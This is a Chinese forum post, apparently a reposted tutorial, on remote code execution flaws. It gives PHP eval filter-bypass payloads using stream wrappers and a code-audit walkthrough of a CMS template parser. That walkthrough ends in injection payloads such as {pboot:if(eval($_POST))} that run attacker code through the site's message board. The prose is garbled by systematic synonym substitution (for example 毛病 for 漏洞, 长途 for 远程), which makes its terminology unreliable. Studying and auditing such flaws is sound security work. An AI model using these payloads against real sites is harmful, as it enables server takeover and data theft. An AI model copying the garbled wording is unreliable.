八卦阵 发表于 2024-11-2 09:04:59

解密RCE毛病:原理分析、复现与代码审计实战

在网络安全范畴,长途代码实行(RCE)毛病因其严重性和粉碎力而备受关注。RCE毛病允许攻击者在目的体系上实行任意代码,从而掌控整个体系,带来极大的安全风险。理解RCE毛病的工作原理,并把握其复现与代码审计技巧,对于提升体系安全性至关重要。
本文将深入分析RCE毛病的原理,展示如安在现实环境中复现该毛病,并提供详尽的代码审计方法。无论您是网络安全初学者,还是资深开辟者,都能从中获得实用的知识和技能。让我们一起解密RCE毛病,提升我们的安全防护能力。

[*] 概念
[*]长途代码实行(RCE)毛病是一种严重的安全毛病,它允许攻击者在目的体系上长途实行任意代码。通过利用RCE毛病,攻击者可以完全控制受害体系,实行恶意操作,如窃取敏感数据、安装恶意软件、粉碎体系功能等。RCE毛病通常存在于处理用户输入的代码中,攻击者通过注入恶意输入并诱使体系实行,从而到达控制目的体系的目的。这类毛病的利用不仅对体系安全构成重大威胁,而且大概导致严重的经济损失和数据泄露,因此辨认和修复RCE毛病对确保体系安全至关重要。

[*] 利用函数
[*] php
[*]eval(),assert(),preg_replace(),call_user_func(),call_user_func_array(),array_map(),system,shell_exec,popen,passthru,proc_open等

[*] python
[*]eval exec subprocess os.system commands

[*] java
[*]java中没有类似php中的eval函数这种直接可以将字符串转化为代码实行函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如OGNL,SpEL,MVEL等


[*] 复现
[*] 基本使用
[*] 源码
<?php
error_reporting(0);          //排除错误
if(isset($_GET['c'])){       //get传参不为空,执行if语句
    $c = $_GET['c'];         //get传参,赋值给变量c
    if(!preg_match("/flag/i", $c)){   //过滤flag
      eval($c);            //执行c表达式
    }

}else{
    highlight_file(__FILE__);
}

payload:
?c=system('tac fla*.php');
?c=echo shell_exec('tac fla*');
?c=`cp fla*.ph* 2.txt`;//再访问2.txt即可


[*] 参数逃逸
[*] 源码
<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
      eval($c);
    }

}else{
    highlight_file(__FILE__);
}
?>
payload:
?c=eval($_GET);&1=phpinfo();

[*] https://i-blog.csdnimg.cn/blog_migrate/38bcc08e39b69b8625216837b6d25d39.png

[*] 伪协议
[*] 源码同上
payload:
?c=include$_GET?>&a=data://text/pain,<?=system('tac flag.php');?>

payload2
get:?c=include$_GET?>&a=php://input
post:<?php system('tac flag.php');?>

payload3
?c=include$_GET?>&a=php://filter/read=convert.base64-encode/resource=flag.php

[*] https://i-blog.csdnimg.cn/blog_migrate/1cd6aa2ea3c6ea711eff3ba88aa5df9f.png
[*] https://i-blog.csdnimg.cn/blog_migrate/77accc665272fb1f78cca6f609de7c4e.png
[*] https://i-blog.csdnimg.cn/blog_migrate/b922c748eb3007a7a3132651aaf88b66.png


代码审计


[*] 靶场搭建
[*]靶场链接:https://pan.baidu.com/s/1H1lxpx8KfoeKkOB-gRt4aQ?pwd=cong
[*]下载靶场,在config.php文件中填入授权码,安装靶场

[*] 流程
[*] 导入文件,搜索常用的下令实行函数eval

[*]https://i-blog.csdnimg.cn/blog_migrate/e3f381db51d079bdc602a30359f12f88.png

[*] 看到eval的来源变量matches

[*]https://i-blog.csdnimg.cn/blog_migrate/d478a0e639ad680857a3ea9b727d5df2.png

[*] 本文搜索matches的数据来源,来源于parserSiteLabel函数

[*]https://i-blog.csdnimg.cn/blog_migrate/3188f3a11269ff3e0d9d8638172c0093.png

[*] 全局搜索parserSiteLabel函数,看到parserCommom函数

[*]https://i-blog.csdnimg.cn/blog_migrate/61c6261c274a39305ef4bf8fa35af436.png

[*] 全局搜索parserCommom函数,到达AboutController.php

[*]名称与网站对应关系
[*]https://i-blog.csdnimg.cn/blog_migrate/8ca87357fbccbde3761d653b31741b11.png

[*] 有前端与后端结合可知,前端的留言板是在AboutController.php上的

[*]https://i-blog.csdnimg.cn/blog_migrate/038d45e73a24d07ddf5f368b61584210.png

[*] 好了,找了怎么久终于终于找到功能点了,现在回到最初的eval函数,开始绕过

[*] 代码
public function parserIfLabel($content)
    {
      $pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
      $pattern2 = '/pboot:()+if/';
      if (preg_match_all($pattern, $content, $matches)) {
            $count = count($matches);
            for ($i = 0; $i < $count; $i ++) {
                $flag = '';
                $out_html = '';
                // 对于无参数函数不执行解析工作
                if (preg_match('/[\w]+\(\)/', $matches[$i])) {
                  continue;
                }
                eval('if(' . $matches[$i] . '){$flag="if";}else{$flag="else";}');
                if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[$i], $matches2)) { // 判断是否存在else
                  switch ($flag) {
                        case 'if': // 条件为真
                            if (isset($matches2)) {
                              $out_html = $matches2;
                            }
                            break;
                        case 'else': // 条件为假
                            if (isset($matches2)) {
                              $out_html = $matches2;
                            }
                            break;
                  }
                } elseif ($flag == 'if') {
                  $out_html = $matches[$i];
                }

                // 无限极嵌套解析
                if (preg_match($pattern2, $out_html, $matches3)) {
                  $out_html = str_replace('pboot:' . $matches3 . 'if', 'pboot:if', $out_html);
                  $out_html = str_replace('{' . $matches3 . 'else}', '{else}', $out_html);
                  $out_html = $this->parserIfLabel($out_html);
                }

                // 执行替换
                $content = str_replace($matches[$i], $out_html, $content);
            }
      }
payload:
留言:{pboot:if(eval($_POST))}!!!{/pboot:if}

payload2:
留言:{pboot:if(eval($_REQUEST));//)})}}{/pboot:if}&3=phpinfo();
//记得要在后台把状态打开,不然无回显,头疼!!!!

[*] https://i-blog.csdnimg.cn/blog_migrate/42351d722eb3f3ecb19c8bcd4cf31020.png
[*] https://i-blog.csdnimg.cn/blog_migrate/882aab20ef11b52b175ee3bb0da776ff.png


通过本次学习,我们不仅深入了解了RCE毛病的原理,还把握了复现该毛病的具体步骤和代码审计的方法。安全防护不仅是技能问题,更是一种意识和态度。通过对RCE毛病的全面分析,我们可以或许更好地辨认和修复潜在的安全风险,从而保护我们的体系和数据安全。
在信息安全的蹊径上,没有尽头。希望本文能为您在安全防护方面提供有价值的指导和资助,激发您对网络安全的持续关注和兴趣。让我们共同积极,构建一个更为安全的网络环境。如果您有任何疑问或宝贵的发起,接待在批评区与我们互动。感谢您的阅读,期待您的反馈与分享!

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 解密RCE毛病:原理分析、复现与代码审计实战